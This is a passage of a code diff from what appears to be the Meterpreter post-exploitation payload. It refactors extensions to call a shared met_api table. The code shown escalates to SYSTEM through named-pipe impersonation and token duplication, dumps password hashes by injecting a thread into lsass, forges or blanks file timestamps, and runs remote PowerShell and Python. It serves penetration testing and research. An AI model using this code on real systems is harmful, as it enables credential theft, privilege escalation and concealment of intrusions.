||||
_bstr_t output;
|
||||
|
||||
sessionId = packet_get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID);
|
||||
sessionId = met_api->packet.get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID);
|
||||
|
||||
dwResult = invoke_ps_command(sessionId, codeMarshall, output);
|
||||
if (dwResult == ERROR_SUCCESS)
|
||||
{
|
||||
packet_add_tlv_string(response, TLV_TYPE_POWERSHELL_RESULT, output);
|
||||
met_api->packet.add_tlv_string(response, TLV_TYPE_POWERSHELL_RESULT, output);
|
||||
}
|
||||
}
|
||||
else
|
||||
@ -798,7 +799,7 @@ DWORD request_powershell_execute(Remote *remote, Packet *packet)
|
||||
dprintf("[PSH] Code parameter missing from call");
|
||||
dwResult = ERROR_INVALID_PARAMETER;
|
||||
}
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
}
|
||||
|
||||
SAFE_FREE(sessionId);
|
||||
@ -815,15 +816,15 @@ DWORD request_powershell_execute(Remote *remote, Packet *packet)
|
||||
DWORD request_powershell_assembly_load(Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
Packet* response = packet_create_response(packet);
|
||||
Packet* response = met_api->packet.create_response(packet);
|
||||
wchar_t* sessionId = NULL;
|
||||
|
||||
if (response)
|
||||
{
|
||||
BYTE* binary = packet_get_tlv_value_raw(packet, TLV_TYPE_POWERSHELL_ASSEMBLY);
|
||||
BYTE* binary = met_api->packet.get_tlv_value_raw(packet, TLV_TYPE_POWERSHELL_ASSEMBLY);
|
||||
if (binary != NULL)
|
||||
{
|
||||
DWORD binarySize = packet_get_tlv_value_uint(packet, TLV_TYPE_POWERSHELL_ASSEMBLY_SIZE);
|
||||
DWORD binarySize = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_POWERSHELL_ASSEMBLY_SIZE);
|
||||
dwResult = load_assembly(binary, binarySize);
|
||||
}
|
||||
else
|
||||
@ -831,7 +832,7 @@ DWORD request_powershell_assembly_load(Remote *remote, Packet *packet)
|
||||
dprintf("[PSH] Assembly parameter missing from call");
|
||||
dwResult = ERROR_INVALID_PARAMETER;
|
||||
}
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
}
|
||||
|
||||
SAFE_FREE(sessionId);
|
||||
@ -848,16 +849,16 @@ DWORD request_powershell_assembly_load(Remote *remote, Packet *packet)
|
||||
DWORD request_powershell_session_remove(Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
Packet* response = packet_create_response(packet);
|
||||
Packet* response = met_api->packet.create_response(packet);
|
||||
wchar_t* sessionId = NULL;
|
||||
|
||||
if (response)
|
||||
{
|
||||
sessionId = packet_get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID);
|
||||
sessionId = met_api->packet.get_tlv_value_wstring(packet, TLV_TYPE_POWERSHELL_SESSIONID);
|
||||
|
||||
dwResult = remove_session(sessionId);
|
||||
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
}
|
||||
|
||||
SAFE_FREE(sessionId);
|
||||
|
@ -3,6 +3,7 @@
|
||||
* @brief Definitions for SYSTEM privilege escalation.
|
||||
*/
|
||||
#include "precomp.h"
|
||||
#include "common_metapi.h"
|
||||
#include "namedpipe.h"
|
||||
#include "tokendup.h"
|
||||
|
||||
@ -74,11 +75,11 @@ DWORD elevate_getsystem( Remote * remote, Packet * packet )
|
||||
|
||||
do
|
||||
{
|
||||
response = packet_create_response( packet );
|
||||
response = met_api->packet.create_response( packet );
|
||||
if( !response )
|
||||
BREAK_WITH_ERROR( "[ELEVATE] get_system. packet_create_response failed", ERROR_INVALID_HANDLE );
|
||||
BREAK_WITH_ERROR( "[ELEVATE] get_system. met_api->packet.create_response failed", ERROR_INVALID_HANDLE );
|
||||
|
||||
dwTechnique = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_TECHNIQUE );
|
||||
dwTechnique = met_api->packet.get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_TECHNIQUE );
|
||||
dprintf( "[ELEVATE] Technique requested (%u)", dwTechnique );
|
||||
|
||||
if( dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE ) {
|
||||
@ -108,8 +109,8 @@ DWORD elevate_getsystem( Remote * remote, Packet * packet )
|
||||
|
||||
if( response )
|
||||
{
|
||||
packet_add_tlv_uint( response, TLV_TYPE_ELEVATE_TECHNIQUE, dwResult == ERROR_SUCCESS ? dwTechnique : ELEVATE_TECHNIQUE_NONE );
|
||||
packet_transmit_response( dwResult, remote, response );
|
||||
met_api->packet.add_tlv_uint( response, TLV_TYPE_ELEVATE_TECHNIQUE, dwResult == ERROR_SUCCESS ? dwTechnique : ELEVATE_TECHNIQUE_NONE );
|
||||
met_api->packet.transmit_response( dwResult, remote, response );
|
||||
}
|
||||
|
||||
return dwResult;
|
||||
|
@ -1,4 +1,5 @@
|
||||
#include "precomp.h"
|
||||
#include "common_metapi.h"
|
||||
#include "namedpipe.h"
|
||||
#include "service.h"
|
||||
|
||||
@ -42,7 +43,7 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
|
||||
}
|
||||
|
||||
while (TRUE) {
|
||||
if (event_poll(thread->sigterm, 0)) {
|
||||
if (met_api->event.poll(thread->sigterm, 0)) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. thread->sigterm received",
|
||||
ERROR_DBG_TERMINATE_THREAD);
|
||||
}
|
||||
@ -80,7 +81,7 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
|
||||
|
||||
// now we can set the meterpreters thread token to that of our system
|
||||
// token so all subsequent meterpreter threads will use this token.
|
||||
core_update_thread_token(remote, hToken);
|
||||
met_api->thread.update_token(remote, hToken);
|
||||
|
||||
dwResult = ERROR_SUCCESS;
|
||||
|
||||
@ -129,7 +130,7 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
|
||||
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: Windows NT4 not supported.")
|
||||
}
|
||||
|
||||
cpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_NAME);
|
||||
cpServiceName = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_NAME);
|
||||
if (!cpServiceName) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. invalid arguments",
|
||||
ERROR_BAD_ARGUMENTS);
|
||||
@ -142,14 +143,14 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
|
||||
"cmd.exe /c echo %s > %s", cpServiceName, cServicePipe);
|
||||
|
||||
hSem = CreateSemaphore(NULL, 0, 1, NULL);
|
||||
pThread = thread_create(elevate_namedpipe_thread, &cServicePipe, remote, hSem);
|
||||
pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, remote, hSem);
|
||||
if (!pThread) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. thread_create failed",
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. met_api->thread.create failed",
|
||||
ERROR_INVALID_HANDLE);
|
||||
}
|
||||
|
||||
if (!thread_run(pThread)) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. thread_run failed",
|
||||
if (!met_api->thread.run(pThread)) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. met_api->thread.run failed",
|
||||
ERROR_ACCESS_DENIED);
|
||||
}
|
||||
|
||||
@ -176,10 +177,10 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
|
||||
}
|
||||
|
||||
// signal our thread to terminate if it is still running
|
||||
thread_sigterm(pThread);
|
||||
met_api->thread.sigterm(pThread);
|
||||
|
||||
// and wait for it to terminate...
|
||||
thread_join(pThread);
|
||||
met_api->thread.join(pThread);
|
||||
|
||||
// get the exit code for our pthread
|
||||
dprintf("[ELEVATE] dwResult before exit code: %u", dwResult);
|
||||
@ -197,7 +198,7 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
|
||||
}
|
||||
|
||||
if (pThread) {
|
||||
thread_destroy(pThread);
|
||||
met_api->thread.destroy(pThread);
|
||||
}
|
||||
if (hSem) {
|
||||
CloseHandle(hSem);
|
||||
@ -232,9 +233,9 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet)
|
||||
|
||||
do
|
||||
{
|
||||
cpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_NAME);
|
||||
dwServiceLength = packet_get_tlv_value_uint(packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH);
|
||||
lpServiceBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_DLL);
|
||||
cpServiceName = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_NAME);
|
||||
dwServiceLength = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH);
|
||||
lpServiceBuffer = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_DLL);
|
||||
|
||||
if (!cpServiceName || !dwServiceLength || !lpServiceBuffer) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. invalid arguments",
|
||||
@ -278,14 +279,14 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet)
|
||||
}
|
||||
|
||||
hSem = CreateSemaphore(NULL, 0, 1, NULL);
|
||||
pThread = thread_create(elevate_namedpipe_thread, &cServicePipe, remote, hSem);
|
||||
pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, remote, hSem);
|
||||
if (!pThread) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. thread_create failed",
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. met_api->thread.create failed",
|
||||
ERROR_INVALID_HANDLE);
|
||||
}
|
||||
|
||||
if (!thread_run(pThread)) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. thread_create failed",
|
||||
if (!met_api->thread.run(pThread)) {
|
||||
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. met_api->thread.create failed",
|
||||
ERROR_ACCESS_DENIED);
|
||||
}
|
||||
|
||||
@ -311,9 +312,9 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet)
|
||||
|
||||
WaitForSingleObject(pThread->handle, 10000);
|
||||
|
||||
thread_sigterm(pThread);
|
||||
met_api->thread.sigterm(pThread);
|
||||
|
||||
thread_join(pThread);
|
||||
met_api->thread.join(pThread);
|
||||
|
||||
// get the exit code for our pthread
|
||||
if (!GetExitCodeThread(pThread->handle, &dwResult)) {
|
||||
@ -339,7 +340,7 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet)
|
||||
}
|
||||
|
||||
if (pThread) {
|
||||
thread_destroy(pThread);
|
||||
met_api->thread.destroy(pThread);
|
||||
}
|
||||
|
||||
if (hSem) {
|
||||
|
@ -1,4 +1,5 @@
|
||||
#include "precomp.h"
|
||||
#include "common_metapi.h"
|
||||
#include "tokendup.h"
|
||||
#include "../../../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h"
|
||||
|
||||
@ -89,9 +90,9 @@ DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet )
|
||||
if ( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 )
|
||||
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug: Not yet supported on this platform.", ERROR_BAD_ENVIRONMENT )
|
||||
|
||||
cpServiceName = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_NAME );
|
||||
dwServiceLength = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH );
|
||||
lpServiceBuffer = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL );
|
||||
cpServiceName = met_api->packet.get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_NAME );
|
||||
dwServiceLength = met_api->packet.get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH );
|
||||
lpServiceBuffer = met_api->packet.get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL );
|
||||
|
||||
if( !dwServiceLength || !lpServiceBuffer )
|
||||
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug. invalid arguments", ERROR_BAD_ARGUMENTS );
|
||||
@ -173,7 +174,7 @@ DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet )
|
||||
|
||||
if( DuplicateToken( hToken, SecurityImpersonation, &hTokenDup ) )
|
||||
{
|
||||
core_update_thread_token( remote, hTokenDup );
|
||||
met_api->thread.update_token( remote, hTokenDup );
|
||||
dwResult = ERROR_SUCCESS;
|
||||
break;
|
||||
}
|
||||
|
@ -1,5 +1,5 @@
|
||||
#include "precomp.h"
|
||||
|
||||
#include "common_metapi.h"
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include "defs.h"
|
||||
@ -72,7 +72,7 @@ HANDLE FileOpen(char *filename)
|
||||
return NULL;
|
||||
}
|
||||
|
||||
wchar_t *name = utf8_to_wchar(filename);
|
||||
wchar_t *name = met_api->string.utf8_to_wchar(filename);
|
||||
if (name == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
@ -235,8 +235,8 @@ int SetDirectoryTimesRecursive(wchar_t *directory, SYSTEMTIME time, int depth)
|
||||
DWORD request_fs_get_file_mace(Remote *remote, Packet *packet)
|
||||
{
|
||||
SYSTEMTIME lt;
|
||||
Packet *response = packet_create_response(packet);
|
||||
HANDLE file = FileOpen(packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH));
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
HANDLE file = FileOpen(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH));
|
||||
|
||||
if (file == NULL) {
|
||||
SetLastError(ERROR_INVALID_PARAMETER);
|
||||
@ -263,7 +263,7 @@ DWORD request_fs_get_file_mace(Remote *remote, Packet *packet)
|
||||
|
||||
if (LargeIntegerToSystemTime(<, *fields[i].ft) == 0) {
|
||||
SystemTimeToEpochTime(<, &epoch);
|
||||
packet_add_tlv_uint(response, fields[i].tlv, (UINT)epoch);
|
||||
met_api->packet.add_tlv_uint(response, fields[i].tlv, (UINT)epoch);
|
||||
}
|
||||
}
|
||||
|
||||
@ -271,15 +271,15 @@ DWORD request_fs_get_file_mace(Remote *remote, Packet *packet)
|
||||
|
||||
err:
|
||||
FileClose(file);
|
||||
packet_transmit_response(GetLastError(), remote, response);
|
||||
met_api->packet.transmit_response(GetLastError(), remote, response);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD request_fs_set_file_mace(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
|
||||
HANDLE file = FileOpen(packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH));
|
||||
HANDLE file = FileOpen(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH));
|
||||
if (!file) {
|
||||
SetLastError(ERROR_INVALID_PARAMETER);
|
||||
goto out;
|
||||
@ -300,7 +300,7 @@ DWORD request_fs_set_file_mace(Remote *remote, Packet *packet)
|
||||
{ &fbi.ChangeTime, TLV_TYPE_FS_FILE_EMODIFIED },
|
||||
};
|
||||
for (int i = 0; i < 4; i++) {
|
||||
time_t epoch = packet_get_tlv_value_uint(packet, (TlvType)fields[i].tlv);
|
||||
time_t epoch = met_api->packet.get_tlv_value_uint(packet, (TlvType)fields[i].tlv);
|
||||
if (epoch) {
|
||||
SYSTEMTIME st;
|
||||
EpochTimeToSystemTime(epoch, &st);
|
||||
@ -316,16 +316,16 @@ DWORD request_fs_set_file_mace(Remote *remote, Packet *packet)
|
||||
|
||||
out:
|
||||
FileClose(file);
|
||||
packet_transmit_response(GetLastError(), remote, response);
|
||||
met_api->packet.transmit_response(GetLastError(), remote, response);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD request_fs_set_file_mace_from_file(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
|
||||
HANDLE tgtFile = FileOpen(packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH));
|
||||
HANDLE srcFile = FileOpen(packet_get_tlv_value_string(packet, TLV_TYPE_FS_SRC_FILE_PATH));
|
||||
HANDLE tgtFile = FileOpen(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH));
|
||||
HANDLE srcFile = FileOpen(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FS_SRC_FILE_PATH));
|
||||
if (tgtFile == NULL || srcFile == NULL) {
|
||||
goto out;
|
||||
}
|
||||
@ -353,7 +353,7 @@ out:
|
||||
FileClose(srcFile);
|
||||
FileClose(tgtFile);
|
||||
|
||||
packet_transmit_response(GetLastError(), remote, response);
|
||||
met_api->packet.transmit_response(GetLastError(), remote, response);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
@ -370,9 +370,9 @@ static SYSTEMTIME epoch = {
|
||||
|
||||
DWORD request_fs_blank_file_mace(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
|
||||
HANDLE file = FileOpen(packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH));
|
||||
HANDLE file = FileOpen(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH));
|
||||
if (!file) {
|
||||
SetLastError(ERROR_INVALID_PARAMETER);
|
||||
goto out;
|
||||
@ -386,14 +386,14 @@ DWORD request_fs_blank_file_mace(Remote *remote, Packet *packet)
|
||||
|
||||
out:
|
||||
FileClose(file);
|
||||
packet_transmit_response(GetLastError(), remote, response);
|
||||
met_api->packet.transmit_response(GetLastError(), remote, response);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD request_fs_blank_directory_mace(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
wchar_t *filePath = utf8_to_wchar(packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH));
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
wchar_t *filePath = met_api->string.utf8_to_wchar(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH));
|
||||
|
||||
if (filePath == NULL) {
|
||||
SetLastError(ERROR_INVALID_PARAMETER);
|
||||
@ -408,6 +408,6 @@ DWORD request_fs_blank_directory_mace(Remote *remote, Packet *packet)
|
||||
|
||||
out:
|
||||
free(filePath);
|
||||
packet_transmit_response(GetLastError(), remote, response);
|
||||
met_api->packet.transmit_response(GetLastError(), remote, response);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
@ -3,6 +3,7 @@
|
||||
* @brief Functionality for dumping password hashes from lsass.exe.
|
||||
*/
|
||||
#include "precomp.h"
|
||||
#include "common_metapi.h"
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
#include <psapi.h>
|
||||
@ -776,7 +777,7 @@ DWORD __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresul
|
||||
sBytesWritten = 0;
|
||||
|
||||
/* start the remote thread */
|
||||
if ((hThreadHandle = create_remote_thread(hLsassHandle, 0, pvFunctionMemory, pvParameterMemory, 0, NULL)) == NULL)
|
||||
if ((hThreadHandle = met_api->thread.create_remote(hLsassHandle, 0, pvFunctionMemory, pvParameterMemory, 0, NULL)) == NULL)
|
||||
{
|
||||
dwError = GetLastError();
|
||||
dprintf("[PASSWD] Failed to create remote thread %u (%x)", dwError, dwError);
|
||||
@ -970,7 +971,7 @@ DWORD __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresul
|
||||
*/
|
||||
DWORD request_passwd_get_sam_hashes(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
char *hashes = NULL;
|
||||
|
||||
@ -983,11 +984,11 @@ DWORD request_passwd_get_sam_hashes(Remote *remote, Packet *packet)
|
||||
break;
|
||||
}
|
||||
|
||||
packet_add_tlv_string(response, TLV_TYPE_SAM_HASHES, hashes);
|
||||
met_api->packet.add_tlv_string(response, TLV_TYPE_SAM_HASHES, hashes);
|
||||
|
||||
} while (0);
|
||||
|
||||
packet_transmit_response(res, remote, response);
|
||||
met_api->packet.transmit_response(res, remote, response);
|
||||
|
||||
if (hashes)
|
||||
{
|
||||
|
@ -6,9 +6,7 @@
|
||||
#include "./elevate/elevate.h"
|
||||
#include "passwd.h"
|
||||
#include "fs.h"
|
||||
#include "../../../common//arch/win/remote_thread.h"
|
||||
|
||||
#include "../../../DelayLoadMetSrv/DelayLoadMetSrv.h"
|
||||
#include "../../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h"
|
||||
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h"
|
||||
|
||||
|
@ -2,15 +2,13 @@
|
||||
* @brief This module implements privilege escalation features.
|
||||
*/
|
||||
#include "precomp.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
// Required so that use of the API works.
|
||||
MetApi* met_api = NULL;
|
||||
|
||||
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
|
||||
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
||||
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
|
||||
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
||||
EnableDelayLoadMetSrv();
|
||||
|
||||
/*!
|
||||
* @brief `priv` extension dispatch table.
|
||||
*/
|
||||
@ -28,16 +26,17 @@ Command customCommands[] =
|
||||
|
||||
/*!
|
||||
* @brief Initialize the server extension.
|
||||
* @param api Pointer to the Meterpreter API structure.
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
|
||||
{
|
||||
hMetSrv = remote->met_srv;
|
||||
met_api = api;
|
||||
|
||||
command_register_all(customCommands);
|
||||
met_api->command.register_all(customCommands);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*!
|
||||
@ -45,13 +44,14 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote* remote)
|
||||
{
|
||||
command_deregister_all(customCommands);
|
||||
met_api->command.deregister_all(customCommands);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
/*!
|
||||
* @brief Get the name of the extension.
|
||||
* @param buffer Pointer to the buffer to write the name to.
|
||||
|
@ -8,6 +8,7 @@
|
||||
#include "python_commands.h"
|
||||
#include "python_meterpreter_binding.h"
|
||||
#include "Resource Files/python_core.rh"
|
||||
#include "common_metapi.h"
|
||||
|
||||
///! @brief Struct that contains pointer to init function and name.
|
||||
typedef struct _InitFunc
|
||||
@ -155,7 +156,7 @@ static PyObject* handle_write(LIST* target, PyObject* self, PyObject* args)
|
||||
dprintf("[PYTHON] something written to %p: %s", target, written);
|
||||
if (target != NULL)
|
||||
{
|
||||
list_add(target, strdup(written));
|
||||
met_api->list.add(target, strdup(written));
|
||||
}
|
||||
}
|
||||
else
|
||||
@ -198,23 +199,23 @@ static PyMethodDef meterpreter_stderr_hooks[] =
|
||||
|
||||
static VOID dump_to_packet(LIST* source, Packet* packet, UINT tlvType)
|
||||
{
|
||||
lock_acquire(source->lock);
|
||||
met_api->lock.acquire(source->lock);
|
||||
|
||||
PNODE current = source->start;
|
||||
|
||||
while (current != NULL)
|
||||
{
|
||||
packet_add_tlv_string(packet, tlvType, (LPCSTR)current->data);
|
||||
met_api->packet.add_tlv_string(packet, tlvType, (LPCSTR)current->data);
|
||||
current = current->next;
|
||||
}
|
||||
|
||||
lock_release(source->lock);
|
||||
met_api->lock.release(source->lock);
|
||||
}
|
||||
|
||||
VOID clear_std_handler(LIST* source)
|
||||
{
|
||||
dprintf("[PYTHON] clearing list %p", source);
|
||||
list_clear(source, free);
|
||||
met_api->list.clear(source, free);
|
||||
dprintf("[PYTHON] cleared list %p", source);
|
||||
}
|
||||
|
||||
@ -223,11 +224,11 @@ VOID initialize_std_handlers()
|
||||
dprintf("[PYTHON] initializing handlers");
|
||||
if (stderrBuffer == NULL)
|
||||
{
|
||||
stderrBuffer = list_create();
|
||||
stderrBuffer = met_api->list.create();
|
||||
}
|
||||
if (stdoutBuffer == NULL)
|
||||
{
|
||||
stdoutBuffer = list_create();
|
||||
stdoutBuffer = met_api->list.create();
|
||||
}
|
||||
dprintf("[PYTHON] initialized handlers");
|
||||
}
|
||||
@ -236,10 +237,10 @@ VOID destroy_std_handlers()
|
||||
{
|
||||
dprintf("[PYTHON] destroying handlers");
|
||||
clear_std_handler(stderrBuffer);
|
||||
list_destroy(stderrBuffer);
|
||||
met_api->list.destroy(stderrBuffer);
|
||||
stderrBuffer = NULL;
|
||||
clear_std_handler(stdoutBuffer);
|
||||
list_destroy(stdoutBuffer);
|
||||
met_api->list.destroy(stdoutBuffer);
|
||||
stdoutBuffer = NULL;
|
||||
dprintf("[PYTHON] destroyed handlers");
|
||||
}
|
||||
@ -405,7 +406,7 @@ DWORD request_python_reset(Remote* remote, Packet* packet)
|
||||
Py_Finalize();
|
||||
Py_Initialize();
|
||||
python_prepare_session();
|
||||
packet_transmit_empty_response(remote, packet, ERROR_SUCCESS);
|
||||
met_api->packet.transmit_empty_response(remote, packet, ERROR_SUCCESS);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -460,12 +461,12 @@ VOID python_execute(CHAR* modName, LPBYTE pythonCode, DWORD codeLength, UINT cod
|
||||
if (PyString_Check(result))
|
||||
{
|
||||
// result is already a string
|
||||
packet_add_tlv_string(responsePacket, TLV_TYPE_EXTENSION_PYTHON_RESULT, PyString_AsString(result));
|
||||
met_api->packet.add_tlv_string(responsePacket, TLV_TYPE_EXTENSION_PYTHON_RESULT, PyString_AsString(result));
|
||||
}
|
||||
else
|
||||
{
|
||||
PyObject* resultStr = PyObject_Str(result);
|
||||
packet_add_tlv_string(responsePacket, TLV_TYPE_EXTENSION_PYTHON_RESULT, PyString_AsString(resultStr));
|
||||
met_api->packet.add_tlv_string(responsePacket, TLV_TYPE_EXTENSION_PYTHON_RESULT, PyString_AsString(resultStr));
|
||||
Py_DECREF(resultStr);
|
||||
}
|
||||
}
|
||||
@ -482,18 +483,18 @@ VOID python_execute(CHAR* modName, LPBYTE pythonCode, DWORD codeLength, UINT cod
|
||||
DWORD request_python_execute(Remote* remote, Packet* packet)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
Packet* response = packet_create_response(packet);
|
||||
LPBYTE pythonCode = packet_get_tlv_value_raw(packet, TLV_TYPE_EXTENSION_PYTHON_CODE);
|
||||
Packet* response = met_api->packet.create_response(packet);
|
||||
LPBYTE pythonCode = met_api->packet.get_tlv_value_raw(packet, TLV_TYPE_EXTENSION_PYTHON_CODE);
|
||||
|
||||
PyObject* mainModule = PyImport_AddModule("__main__");
|
||||
PyObject* mainDict = PyModule_GetDict(mainModule);
|
||||
|
||||
if (pythonCode != NULL)
|
||||
{
|
||||
UINT codeType = packet_get_tlv_value_uint(packet, TLV_TYPE_EXTENSION_PYTHON_CODE_TYPE);
|
||||
CHAR* modName = packet_get_tlv_value_string(packet, TLV_TYPE_EXTENSION_PYTHON_NAME);
|
||||
UINT pythonCodeLength = packet_get_tlv_value_uint(packet, TLV_TYPE_EXTENSION_PYTHON_CODE_LEN);
|
||||
CHAR* resultVar = packet_get_tlv_value_string(packet, TLV_TYPE_EXTENSION_PYTHON_RESULT_VAR);
|
||||
UINT codeType = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXTENSION_PYTHON_CODE_TYPE);
|
||||
CHAR* modName = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXTENSION_PYTHON_NAME);
|
||||
UINT pythonCodeLength = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXTENSION_PYTHON_CODE_LEN);
|
||||
CHAR* resultVar = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXTENSION_PYTHON_RESULT_VAR);
|
||||
python_execute(modName, pythonCode, pythonCodeLength, codeType, resultVar, response);
|
||||
|
||||
dump_to_packet(stderrBuffer, response, TLV_TYPE_EXTENSION_PYTHON_STDERR);
|
||||
